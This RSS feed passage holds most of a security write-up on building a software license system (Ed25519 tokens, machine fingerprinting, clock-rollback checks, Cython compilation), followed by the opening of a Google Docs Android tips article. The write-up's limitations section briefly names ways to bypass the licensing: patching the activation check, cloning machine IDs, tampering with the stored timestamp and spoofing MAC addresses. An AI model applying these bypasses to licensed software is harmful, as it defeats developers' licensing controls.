for software running on user-controlled hardware. The objective was to make casual circumvention more expensive than purchasing a license, while making legitimate use completely frictionless.</p><h3>Why Ed25519</h3><p>The classical alternative is HMAC-SHA256 with a shared secret. The fundamental problem: if the client holds a shared secret, it can forge. You can obfuscate the secret, compile it into a binary, XOR it with a magic constant — but it’s still in there, and extraction is a solved problem.</p><p>Ed25519 eliminates the forgery surface entirely:</p><pre>Private key  →  lives only on the license server  →  signs tokens<br>Public key   →  hardcoded in the client binary    →  verifies tokens, cannot forge</pre><p>The mathematics of elliptic curve cryptography guarantee that knowledge of the public key reveals nothing useful about the private key. An attacker who fully reverses the client binary, extracts the public key, and understands the entire verification flow still cannot produce a valid signature. The only path to a forged token is compromising the server.</p><p>The public key in license_manager.py is 32 bytes:</p><pre>_ED25519_PUBLIC_KEY_B64 = "DQ0zJAi1S0c+NUhOP3050au9k5/fYwLU45ayTZIFVuI="</pre><p>This is the entire cryptographic boundary between the client and unlimited offline activation.</p><h3>Token Structure</h3><p>Every activated machine receives a <strong>signed license token</strong> — a compact, self-contained credential the app can verify locally without any network call.</p><p>Format: two Base64URL strings joined by .</p><pre>&lt;base64url(JSON payload)&gt;.&lt;base64url(Ed25519 signature)&gt;</pre><p>Payload structure:</p><pre>{<br>  "mid": "a3f1b2c9d4e5f6a7b8c9d0e1f2a3b4c5",<br>  "name": "FreeRave",<br>  "plan": "max",<br>  "exp": 1782000000<br>}</pre><ul><li>mid — the machine fingerprint (32 hex chars, SHA-256 of hardware identifiers)</li><li>name — displayed to the user on activation</li><li>plan — tier identifier ("max" = Pro)</li><li>exp — Unix timestamp expiry; server controls token lifetime</li></ul><p>The server signs the raw JSON bytes with its Ed25519 private key. The client verifies using the hardcoded public key, then checks expiry and machine binding. All three must pass.</p><h3>The Verification Function</h3><pre>def _verify_token(self, token: str) -&gt; Tuple[bool, dict]:<br>    try:<br>        from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey<br><br>parts = token.split(".")<br>        if len(parts) != 2:<br>            return False, {}<br>        payload_b64, sig_b64 = parts<br>        # Dynamic Base64 padding - JWT/URL-safe Base64 strips trailing '='<br>        # The expression (-len(s) % 4) gives: 0 if already padded, else 1-3<br>        def _b64dec(s: str) -&gt; bytes:<br>            return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))<br>        payload_bytes = _b64dec(payload_b64)<br>        sig_bytes     = _b64dec(sig_b64)<br>        pub_raw    = base64.b64decode(_ED25519_PUBLIC_KEY_B64)<br>        public_key = Ed25519PublicKey.from_public_bytes(pub_raw)<br>        public_key.verify(sig_bytes, payload_bytes)  # raises InvalidSignature on tamper<br>        payload = json.loads(payload_bytes.decode())<br>        # Gate 1: expiry<br>        if payload.get("exp", 0) &lt; time.time():<br>            return False, {}<br>        # Gate 2: machine binding<br>        if payload.get("mid", "") != self.generate_machine_id():<br>            return False, {}<br>        return True, payload<br>    except Exception:<br>        return False, {}</pre><p>Three gates in sequence. Fail any one, the token is rejected and local activation is cleared. The except Exception: return False, {} catch-all is intentional — any unexpected error (missing field, malformed base64, truncated token) is treated as a verification failure, not as a crash.</p><blockquote><strong><em>On the padding trick:</em></strong><em> URL-safe Base64 used in JWTs often strips trailing </em><em>= padding. </em><em>(-len(s) % 4) is a modular arithmetic shorthand that adds exactly the right number: if </em><em>len(s) % 4 == 0, adds 0; otherwise adds </em><em>4 - (len(s) % 4). This avoids an if/else chain and handles all cases correctly.</em></blockquote><h3>Machine Fingerprinting</h3><p>The machine ID is a 32-character hex string that must be <strong>stable across reboots</strong>, <strong>unique enough to distinguish machines</strong>, and <strong>cross-platform</strong>. The approach is a weighted combination of hardware identifiers, hashed to a fixed-length output:</p><pre>@staticmethod<br>def generate_machine_id() -&gt; str:<br>    factors: dict[str, str] = {}<br><br># Platform-specific hardware ID - primary anchor<br>    try:<br>        if platform.system() == "Linux":<br>            # /etc/machine-id: written once at OS install by systemd<br>            # Survives: reboots, kernel updates, VPN, hostname changes<br>            # Does not survive: full OS reinstall<br>            with open("/etc/machine-id") as f:<br>                factors["mid"] = f.read().strip()<br>        elif platform.system() == "Windows":<br>            import winreg<br>            key = winreg.OpenKey(<br>                winreg.HKEY_LOCAL_MACHINE,<br>                r"SOFTWARE\Microsoft\Cryptography"<br>            )<br>            # MachineGuid: equivalent to /etc/machine-id on Windows<br>            factors["mid"] = winreg.QueryValueEx(key, "MachineGuid")[0]<br>        elif platform.system() == "Darwin":<br>            import subprocess<br>            out = subprocess.check_output(<br>                ["ioreg", "-rd1", "-c", "IOPlatformExpertDevice"],<br>                stderr=subprocess.DEVNULL<br>            )<br>            for line in out.decode().splitlines():<br>                if "IOPlatformUUID" in line:<br>                    factors["mid"] = line.split('"')[-2]<br>                    break<br>    except:<br>        pass<br>    # Secondary factors - supplement if primary unavailable (e.g., container)<br>    try:<br>        factors["cpu"] = str(os.cpu_count() or 0)<br>    except:<br>        pass<br>    factors["os"] = platform.system()<br>    # MAC address - only if real hardware, not randomized<br>    try:<br>        mac_int = _uuid.getnode()<br>        # Bit 40 (the "locally administered" bit) is 1 for randomized MACs<br>        # Randomized MACs change on every boot - useless as a stable anchor<br>        if not (mac_int &gt;&gt; 40) &amp; 1:<br>            factors["mac"] = hex(mac_int)[2:].upper().zfill(12)<br>    except:<br>        pass<br>    # Sort for determinism regardless of which factors are available<br>    factor_str = "|".join(f"{k}:{v}" for k, v in sorted(factors.items()))<br>    return hashlib.sha256(factor_str.encode()).hexdigest()[:32]</pre><p><strong>Why </strong><strong>sorted(factors.items())?</strong> Dict insertion order in Python 3.7+ is deterministic, but only if the same keys are always inserted in the same order. If, for example, the MAC address is unavailable on one run (kernel randomization), the dict has fewer keys and the order changes. Sorting by key ensures the concatenated string — and therefore the hash — is identical regardless of which optional factors are present.</p><p><strong>The MAC randomization filter:</strong> Modern Linux privacy kernels and NetworkManager configurations use MAC address randomization. Bit 40 of the MAC integer is the “locally administered” bit — set to 1 for locally generated (randomized) addresses. Including a randomized MAC in the fingerprint would cause activation to break after every reboot. The bitmask check (mac_int &gt;&gt; 40) &amp; 1 filters these out.</p><p><strong>Container environments:</strong> In Docker or LXC, /etc/machine-id may not exist. The try/except blocks ensure graceful degradation — if the primary identifier is missing, the fingerprint falls back to CPU count + OS string + MAC (if available). This is a weaker fingerprint but still functional.</p><h3>The Activation Flow</h3><pre>User clicks "Activate Pro"<br>        │<br>        ▼<br>LocalAuthManager.start()<br>  → Binds to 127.0.0.1:0 (port 0 = OS assigns ephemeral port atomically)<br>  → Generates 32-byte CSRF state token via secrets.token_urlsafe(32)<br>        │<br>        ▼<br>webbrowser.open(<br>  "https://dotsuite.vercel.app/en/dashboard/dotscramble/auth?port=PORT&amp;state=STATE"<br>)<br>        │<br>        ▼<br>User authenticates in browser, clicks "Activate"<br>        │<br>        ▼<br>Dashboard: POST http://127.0.0.1:PORT/callback<br>  Body: { "key": "&lt;api_key&gt;", "state": "&lt;state_token&gt;" }<br>        │<br>        ▼<br>AuthHandler.do_POST()<br>  → Content-Length check: reject if &gt; 4096 or ≤ 0  (OOM DoS prevention)<br>  → secrets.compare_digest(received_state, expected_state)  (CSRF check)<br>  → on_key_received(api_key) called<br>        │<br>        ▼<br>LicenseManager.verify_and_activate(api_key)<br>  → POST https://dotsuite-core-production.up.railway.app/v1/license/activate<br>     Authorization: Bearer &lt;api_key&gt;<br>     Body: { "machine_id": "a3f1b2..." }<br>        │<br>        ▼<br>Server validates key, checks activation count (≤ 2 machines), signs token<br>Returns: { "license_token": "&lt;payload&gt;.&lt;sig&gt;", "name": "FreeRave" }<br>        │<br>        ▼<br>Client: _verify_token(token)<br>  → Signature valid (Ed25519)<br>  → Not expired (exp &gt; time.time())<br>  → Machine matches (mid == generate_machine_id())<br>        │<br>        ▼<br>Token + API key saved to SQLite<br>Background recheck thread started (24h cycle)</pre><h4>The Local HTTP Server as a Security Boundary</h4><p>The browser-to-desktop callback is not a direct function call — it goes through a local HTTP server. This is not over-engineering. The HTTP boundary enforces:</p><ol><li><strong>CSRF protection:</strong> The state token is generated fresh on each activation attempt and compared using secrets.compare_digest() (constant-time, timing-attack resistant). Any page other than the DotSuite dashboard that tries to POST to the local server will fail state verification.</li><li><strong>Payload size cap:</strong> The server rejects any POST body over 4096 bytes with HTTP 413. An API key is at most a few hundred bytes — there’s no legitimate reason for a larger payload.</li><li><strong>Port 0 binding:</strong> Binding to port 0 lets the OS assign an available ephemeral port atomically. The alternative — picking a fixed port and checking if it’s free — is a TOCTOU race condition. Port 0 eliminates the race.</li></ol><pre># Constant-time comparison — prevents timing oracle on state token<br>def verify_state(self, state):<br>    if not state or not self.state_token:<br>        return False<br>    return secrets.compare_digest(state, self.state_token)</pre><p>secrets.compare_digest() matters here because the comparison happens over localhost HTTP. A timing oracle on a 32-character token over loopback is a marginal attack in practice, but it costs nothing to use the correct primitive.</p><h3>Offline Grace and Startup Verification</h3><p>After activation, the token is cached in SQLite. Every subsequent startup re-verifies locally — no network call required:</p><pre>def __init__(self, db_manager):<br>    # ...<br>    if self._license_token:<br>        last_verified = float(<br>            self.db_manager.get_setting("last_license_check_time", 0.0)<br>        )<br>        current_time = time.time()<br><br># Clock rollback detection<br>        # If current_time &lt; last_verified, the clock was moved backward<br>        # This could be used to prevent token expiry - reject it<br>        if current_time &lt; last_verified:<br>            self.logger.error("System clock rollback detected on startup!")<br>            self._clear_local()<br>        else:<br>            valid, _ = self._verify_token(self._license_token)<br>            if valid:<br>                self._is_max = True<br>                self.db_manager.save_setting(<br>                    "last_license_check_time", current_time, "license"<br>                )<br>                self._schedule_background_recheck()<br>            else:<br>                self._clear_local()</pre><p><strong>Clock rollback attack:</strong> If a user manually sets their system clock backward, time.time() returns a value earlier than the stored last_license_check_time. The check current_time &lt; last_verified detects this and immediately deactivates. The stored timestamp acts as a ratchet — it can only move forward.</p><p><strong>The 7-day grace period</strong> is implicit in the token’s exp field. The server sets expiry 7 days from activation (or last successful recheck). An offline machine can use the software freely for 7 days before the token expires and the local check fails.</p><h3>Background Revocation Detection</h3><p>Local verification is fast and works offline, but it cannot detect revoked keys. A key that was refunded, chargebacked, or administratively revoked would continue to pass local Ed25519 verification until its token expires.</p><p>The background recheck thread addresses this:</p><pre>def _schedule_background_recheck(self):<br>    self.stop_recheck_event.clear()<br>    t = threading.Thread(<br>        target=self._recheck_loop,<br>        daemon=True,           # dies with the main process<br>        name="license-recheck"<br>    )<br>    t.start()<br><br>def _recheck_loop(self):<br>    while not self.stop_recheck_event.is_set():<br>        # Event.wait(timeout) instead of time.sleep():<br>        # wakes immediately on stop_recheck_event.set(), enabling clean shutdown<br>        is_stopped = self.stop_recheck_event.wait(_RECHECK_HOURS * 3600)<br>        if is_stopped or self.stop_recheck_event.is_set():<br>            break<br>        self._silent_recheck()</pre><p>The recheck itself is silent — no UI notification, no interruption:</p><pre>def _silent_recheck(self):<br>    with self.lock:<br>        if not self._is_max:<br>            return<br>        current_key = self._api_key<br>    try:<br>        machine_id    = self.generate_machine_id()<br>        payload_bytes = json.dumps({"machine_id": machine_id}).encode()<br>        req = urllib.request.Request(<br>            _RECHECK_URL, data=payload_bytes,<br>            headers={<br>                "Authorization": f"Bearer {current_key}",<br>                "Content-Type": "application/json"<br>            }<br>        )<br>        with urllib.request.urlopen(req, timeout=10) as resp:<br>            data      = json.loads(resp.read().decode())<br>            new_token = data.get("license_token", "")<br><br>valid, _ = self._verify_token(new_token)<br>        if valid:<br>            with self.lock:<br>                self._license_token = new_token<br>            self.db_manager.save_setting("license_token", new_token, "license")<br>            self.db_manager.save_setting(<br>                "last_license_check_time", time.time(), "license"<br>            )<br>        else:<br>            self._clear_local()   # Server returned invalid token - deactivate<br>    except urllib.error.HTTPError as e:<br>        if e.code in (401, 403, 404):<br>            self._clear_local()   # Explicit server rejection - deactivate immediately<br>        # 5xx, connection timeout: server down or network unavailable<br>        # Do NOT deactivate - user gets full 7-day grace period<br>    except Exception:<br>        pass   # Any other error: fail open, try again next cycle</pre><p>The error handling is the most important part of this function. Three distinct outcomes:</p><p><strong>HTTP 401/403/404</strong> — the server explicitly rejected the request. The API key is invalid, revoked, or deleted. Deactivate immediately, clear all local credentials.</p><p><strong>HTTP 5xx / connection error / timeout</strong> — the server is temporarily unavailable. Do nothing. The local token is still valid (Ed25519 + expiry check passed on startup). The user retains full access for the remainder of the token’s TTL. This is the correct behaviour: a server outage should never disrupt legitimate users.</p><p><strong>Valid fresh token returned</strong> — refresh the cache. The new token extends the TTL another 7 days, so an online user’s activation effectively never expires.</p><h3>The Feature Gate</h3><p>Every Pro-only code path in the UI calls one property:</p><pre>@property<br>def is_max_activated(self) -&gt; bool:<br>    # In-memory boolean — no I/O, no crypto<br>    with self.lock:<br>        return self._is_max</pre><p>This is intentionally the simplest possible check. The reasoning is performance: is_max_activated is evaluated on every frame of the real-time preview slider. Token verification using Ed25519 takes 0.5–2ms per call. At 60fps, continuous verification would consume up to 120ms/second on crypto alone — enough to cause visible frame drops.</p><p>The expensive verification happens once on startup and once per 24-hour background cycle. The in-memory boolean is the hot path, protected by a standard mutex for thread safety (the background recheck thread writes to _is_max from a different thread).</p><p>Feature gating at detection mode selection:</p><pre>def on_detection_change(self):<br>    mode = self.detection_mode.get()<br>    pro_only_modes = ['target_text', 'text', 'body', 'license_plate']<br><br>if mode in pro_only_modes and not self.license_manager.is_max_activated:<br>        QMessageBox.information(<br>            self, "Pro Feature",<br>            f"'{mode.replace('_', ' ').title()}' detection requires DotScramble Pro."<br>        )<br>        self.detection_mode.set("face")  # Reset to free tier default</pre><p>Feature gating at save time:</p><pre>is_max       = self.license_manager.is_max_activated<br>should_scrub = is_max and self.scrub_exif.get()<br>should_spoof = is_max and self.spoof_metadata.get() and not should_scrub</pre><p>Metadata operations (EXIF spoofing, scrubbing) are Pro-only features. The gate is evaluated at save time, not at button click — preventing race conditions where the UI state and license state could diverge.</p><h3>Source Protection via Cython</h3><p>Python source is trivially patchable. Given _is_max:</p><pre># Original<br>return self._is_max<br><br># Patched in 3 seconds<br>return True</pre><p>Mitigation: compile license_manager.py to a native shared library using Cython. The build script:</p><pre>from setuptools import setup, Extension<br>from Cython.Build import cythonize<br><br>extensions = [<br>    Extension(<br>        "src.managers.license_manager",<br>        sources=["src/managers/license_manager.py"],<br>        extra_compile_args=["-O2"],<br>    )<br>]<br>setup(<br>    name="dotscramble_license",<br>    ext_modules=cythonize(<br>        extensions,<br>        compiler_directives={<br>            "embedsignature":      False,  # Strip readable function signatures<br>            "emit_code_comments":  False,  # No source hints in binary<br>            "language_level":      "3",<br>            "boundscheck":         False,<br>            "wraparound":          True,<br>        },<br>    ),<br>)</pre><p>Build:</p><pre>python setup_license.py build_ext --inplace<br># → src/managers/license_manager.cpython-313-x86_64-linux-gnu.so</pre><p>The original .py is removed from the distribution. Python's import system finds the .so automatically — no import path changes required.</p><p>The compiled binary is a real ELF shared library. Patching it requires disassembling x86_64 machine code, locating the boolean return instruction in the JIT-compiled method, and modifying it in a hex editor or with a binary patcher. This is not impossible, but the skill floor is substantially higher than editing a Python file. Combined with the Ed25519 enforcement — which cannot be bypassed by patching the client — the effort/reward ratio for cracking exceeds the cost of a legitimate license for most users.</p><blockquote><strong><em>Platform note:</em></strong><em> Cython produces platform-specific binaries. </em><em>cpython-313-x86_64-linux-gnu.so runs only on Linux x86_64 with CPython 3.13. Cross-platform distribution requires separate build steps on Linux, Windows, and macOS — standard practice for any CI pipeline with multi-platform targets.</em></blockquote><h3>Known Limitations and Attack Surfaces</h3><p><strong>The public key is in the binary.</strong> This is by design — the public key is <em>meant</em> to be public. It cannot be used to forge tokens. An attacker who extracts it gains nothing.</p><p><strong>Container and VM bypass.</strong> In environments where /etc/machine-id can be freely set (Docker, LXC, VMs with snapshot/rollback), the machine fingerprint can be cloned. Mitigation: the server-side 2-machine activation limit constrains this — each cloned ID counts as a new activation.</p><p><strong>Binary patching still possible.</strong> Cython raises the bar but doesn’t eliminate it. A sufficiently motivated attacker with a disassembler can still find and patch the boolean return in the .so. The actual security comes from Ed25519 — even a patched client that claims is_max = True can't forge a valid token, so server-enforced features (recheck, machine limit) remain intact.</p><p><strong>Clock rollback detection has a window.</strong> The check compares time.time() against a stored SQLite timestamp. An attacker who modifies the SQLite database <em>before</em> running the app could plant a fake last_license_check_time far in the future, then roll the clock back while keeping time.time() &gt; stored_time. Mitigation: the SQLite database is in the user's home directory and not encrypted — for high-value deployments, a tamper-evident store (e.g. macOS Keychain, Linux Secret Service) would be more appropriate.</p><p><strong>No mutual TLS.</strong> The /v1/license/activate and /v1/license/recheck calls use standard HTTPS. The server's certificate is verified by the system CA store. A machine with a compromised CA store (corporate MITM proxy, malware-installed root) could intercept and modify these responses. This is a general HTTPS limitation, not specific to this design.</p><h3>Design Decisions — What Was Intentionally Excluded</h3><p><strong>Online-only enforcement.</strong> Requiring a network check on every launch would break offline use. Planes, hotel Wi-Fi captive portals, corporate proxies, server downtime — all of these would result in failed launches for paying customers. The 7-day grace period with background recheck is the correct trade-off.</p><p><strong>Aggressive telemetry.</strong> The only data sent to the server is the machine ID and API key. No usage statistics, no feature telemetry, no file names, no behavioral data. DotScramble is a privacy tool. Telemetry would be self-contradicting.</p><p><strong>Obfuscating the public key.</strong> Pointless security theatre. The public key is designed to be known. Wrapping it in XOR or base64-of-base64 adds no security and significant code smell.</p><p><strong>Binding to MAC address only.</strong> MAC addresses are trivially spoofed on Linux (ip link set dev eth0 address XX:XX:XX:XX:XX:XX) and may be randomized by default. Using /etc/machine-id as the primary anchor is more stable and harder to spoof without root access.</p><h3>Summary</h3><p>DotScramble’s license system implements a minimal but sound cryptographic design:</p><ul><li><strong>Ed25519 asymmetric signing</strong> ensures tokens cannot be forged without the server’s private key, regardless of how thoroughly the client binary is reversed.</li><li><strong>Weighted machine fingerprinting</strong> using OS-level hardware identifiers provides stable, cross-platform machine binding that survives network changes and VPN usage.</li><li><strong>SQLite-cached token with startup re-verification</strong> enables offline use without any network dependency on launch.</li><li><strong>7-day TTL with 24-hour background recheck</strong> gives legitimate offline users a comfortable grace window while ensuring revoked keys are detected within a day of the machine coming online.</li><li><strong>Cython compilation</strong> raises the practical bar against source patching, complementing but not replacing the cryptographic enforcement.</li></ul><p>The design is appropriate for a solo-developed privacy tool. It is not appropriate for enterprise software protecting high-value IP — that use case warrants hardware dongles, TPM attestation, or a full code-signing/attestation pipeline.</p><p><strong>GitHub:</strong> <a href="https://github.com/kareem2099/DotScramble">github.com/kareem2099/DotScramble</a><br><strong>OpenDesktop:</strong> <a href="https://www.opendesktop.org/p/2362477/">opendesktop.org/p/2362477</a><br><strong>License:</strong> Apache 2.0</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d8dd5678e1cb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/asymmetric-signing-machine-fingerprinting-and-offline-grace-periods-building-a-license-system-d8dd5678e1cb">Asymmetric Signing, Machine Fingerprinting, and Offline Grace Periods: Building a License System…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[12 handy hidden Google Docs tricks for Android]]></title>
<description><![CDATA[Few apps are as essential to mobile productivity as the humble word processor. I think I’ve probably spent a solid seven years of my life staring at Google Docs on one device or another at this point, and those minutes only keep ticking up with practically every passing day.



While we can’t do ...]]></description>
<link>https://tsecurity.de/de/3638021/it-nachrichten/12-handy-hidden-google-docs-tricks-for-android/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638021/it-nachrichten/12-handy-hidden-google-docs-tricks-for-android/</guid>
<pubDate>Wed, 01 Jul 2026 11:47:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Few apps are as essential to mobile productivity as the humble word processor. I think I’ve probably spent a solid seven years of my life staring at Google Docs on one device or another at this point, and those minutes only keep ticking up with practically every passing day.</p>



<p>While we can’t do much about the need to gaze at that word-filled white screen, what we <em>can </em>do is learn how to make every moment spent within Docs count — and in the <a href="https://play.google.com/store/apps/details?id=com.google.android.apps.docs.editors.docs&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Docs Android app</a>, specifically, there are some pretty spectacular tucked-away time-savers just waiting to be discovered.</p>



<p>Make a mental note of these advanced shortcuts and options, and put ’em to good use the next time you find yourself staring at Docs on your own device.</p>



<h2 class="wp-block-heading">Google Docs Android feature #1: Smarter document organization</h2>



<p>We’ll save the best for, erm, first — ’cause the easily overlooked feature we’re kickin’ things off with can save you some serious time and make your mobile editing experience significantly easier.</p>



<p>After all, dealing with a complex document from your phone can be a real hassle. Who wants to waste time scrolling through endless-seeming screens to find the section of info you need to read, edit, or work on at any given moment?</p>



<p>I sure as heckfire don’t — and if you remember to use Docs’ out-of-the-way Outline option, you’ll never have to do it again, either. While viewing or editing any document with any sort of headers in it (be they actual header-formatted text or even just bolded section titles), tap the three-dot menu icon in Docs’ upper-right corner and then select “Document Outline.”</p>



<p>And by golly, wouldya look at that?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/01-google-docs-android-outline.jpg?quality=50&amp;strip=all&amp;w=996" alt="Google Docs Android: Document outline" class="wp-image-4191233" width="996" height="1024" sizes="auto, (max-width: 996px) 100vw, 996px"><figcaption class="wp-element-caption">An automatic document outline is never out of reach in the Docs Android app.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Jumping to any part of the document is now just a single tap away.</p>



<p><strong>[Psst: Love shortcuts? My </strong><a href="https://theintelligence.com/shortcut-ai/" target="_blank" rel="noreferrer noopener"><strong>Android Shortcut Supercourse</strong></a><strong> will teach you tons of time-saving tricks for every single part of your smartphone experience. </strong><a href="https://theintelligence.com/shortcut-ai/"><strong>Sign up now for free</strong></a><strong>!]</strong></p>



<h2 class="wp-block-heading">Google Docs Android feature #2: Instant tab access</h2>



<p>Speaking of organization, in that same section of the in-document three-dot menu resides an easily overlooked option called “Document tabs.”</p>



<p>Tap it, and you can then see, manage, and move among any tabs created within the document for added organization — just like in the Docs desktop interface.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/02-google-docs-android-tabs.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Tabs" class="wp-image-4191231" width="1024" height="1022" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Who knew?! Your Google Docs tabs are now accessible within the Docs Android app as well.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Yes, please — and thank you.</p>



<h2 class="wp-block-heading">Google Docs Android feature #3: Easier Word integration</h2>



<p>When you’re working with clients, colleagues, or even camels who for some reason prefer the Microsoft editing ecosystem, you don’t have to do much to bridge that gap. The Docs Android app can already open and allow you to edit Word files, without any work — and with one simple flip of a switch, you can <em>create</em> new files in the .DOCX format just as easily.</p>



<p>To find the feature, you’ve gotta back out of any actual documents and get onto the main Docs screen — the screen with the search box at the top and all your documents listed out beneath it. Tap the three-line menu icon in the upper-left corner of that screen and head into the Settings section of that main menu. There, you should see the very switch we need:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/03a-google-docs-android-create-word-files.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Create Word files" class="wp-image-4191225" width="1024" height="537" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Tick one toggle, and you can then create native Word files within the Docs Android app anytime.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>Flip that into the on position, then back yourself out to the main Docs screen. The next time you tap the plus icon in that area’s lower-right corner, you should see “New Word file” show up as an option right above the default “New Docs file” command.</p>



<p>And just as a reminder, if you ever want to save an <em>existing</em> Docs file into the .DOCX format, you can do that, too: Tap the three-dot menu icon while editing a document, select “Share &amp; export,” then select “Save As” and choose the “Word (.docx)” option.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/03b-google-docs-android-save-word-files.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Save as Word" class="wp-image-4191226" width="1024" height="647" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Saving any document as a Word file is also easy, once you know where to look.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>You can also save the file as a PDF or other common document format from that same menu.</p>



<h2 class="wp-block-heading">Google Docs Android feature #4: The swift sender</h2>



<p>While we’re thinkin’ about dealing with different document formats, download this into your long-term memory: The next time you need to save or send a document as an actual <em>file</em> — as opposed to an in-app, collaboration-ready Google Docs share — you can save yourself the trouble of downloading and then reuploading the thing and simply send it directly from the Docs Android app.</p>



<p>The trick is to once again tap that three-dot menu icon whilst editing a file and then select that same “Share &amp; export” menu we just went over. But this time, instead of going with the “Save As” option, select “Send a copy.”</p>



<p>You can then pick from the same set of format choices we just finished exploring. And from there, Docs will allow you to choose from any compatible app on your device — everything from <a href="https://www.computerworld.com/article/1707648/best-email-and-texting-apps-for-android.html">Android email and messaging apps</a> to note-storing services like <a href="https://www.computerworld.com/article/1615550/3-fantastic-ways-notion-can-make-you-more-efficient.html">Notion</a> and <a href="https://www.computerworld.com/article/1724688/27-advanced-trello-tips-and-tricks.html">Trello</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/04-google-docs-android-send.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Share" class="wp-image-4191230" width="1024" height="997" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Send any document into any other compatible app on your phone for a simplified sharing setup.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>All it takes is one more tap from there, and your document will be on its way to the appropriate place in the format you requested — just like that.</p>



<h2 class="wp-block-heading">Google Docs Android feature #5: The local file finder</h2>



<p>Ever download a document onto your phone — be it from an email, a Slack channel, a website, or any other such source — and then later find yourself struggling to find it? Well, get this: Google’s got its own simple file finder ready and waiting for you right within the regular Docs app. Who woulda thunk, right?!</p>



<p>But oh, it be there, all righty. It’s that innocuous little folder icon within the search bar on the main Docs screen — something I must’ve seen about a thousand times before I ever thought to actually tap it.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/05-google-docs-android-files.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Files" class="wp-image-4191223" width="1024" height="180" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Whoa — a built-in Docs file finder?!</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>When you do, the app will prompt you to find a saved file from either your local phone storage or from your online Drive storage. And once you select either option, you can browse through the associated place to see what’s there or search to find exactly what you’re after — no hopping over to a separate <a href="https://www.computerworld.com/article/1718187/android-file-manager-apps.html">Android file manager</a> required.</p>



<h2 class="wp-block-heading">Google Docs Android feature #6: The Drive detour</h2>



<p>Speaking of Google Drive, if you ever find yourself needing to mosey over to the full Drive interface to dig around more deeply or pull up a file that isn’t text-related, here’s a handy little secret:</p>



<p>You can actually fly from Docs directly to Drive <em>without </em>going through all the usual steps — y’know, heading back to your home screen, finding the Drive icon, and opening it up anew from there.</p>



<p>Just rely on the Docs app’s artfully hidden Drive shortcut to slash steps and zip straight between the two related interfaces. The option is quietly waiting for you within the three-line menu icon on the main Docs screen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/06-google-docs-android-drive.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Google Docs Android: Google Drive" class="wp-image-4191221" width="1024" height="707" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Docs and Drive — BFFs forever.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p>And now you know.</p>



<h2 class="wp-block-heading">Google Docs Android feature #7: The account adjuster</h2>



<p>Keep that overly moist eyeball of yours in that same area of the Docs app interface for a minute, ’cause we’ve got one more sneaky shortcut worth unearthing there.</p>



<p>It’s a shortcut baked into your face — or whatever sort of image you’ve got in place for your Google account profile photo, up in the app’s upper-right corner.</p>



<p>As is the case with most Google-made apps on Android these days, you can swipe up or down on that image to flip through any additional accounts you’ve got connected on your phone. If you only have a single account set up, this obviously won’t apply to you. But if you have, say, a personal Google account and a work address or even a few different situation-specific personal or work identities, it’s a splendid way to move between ’em with next to no effort and just a single swift swipe.</p>



<h2 class="wp-block-heading">Google Docs Android feature #8: The direct document shortcut</h2>



<p>Another shortcut worth burning into your brainspace: If you find yourself working on a specific document or set of documents frequently — whether they’re evolving documents you access all the time or just specific projects on your radar at one particular moment — save yourself the steps of opening the Docs app, finding ’em there, and then tapping their titles to get into ’em and instead give yourself one-tap shortcuts to open the files directly from your home screen.</p>



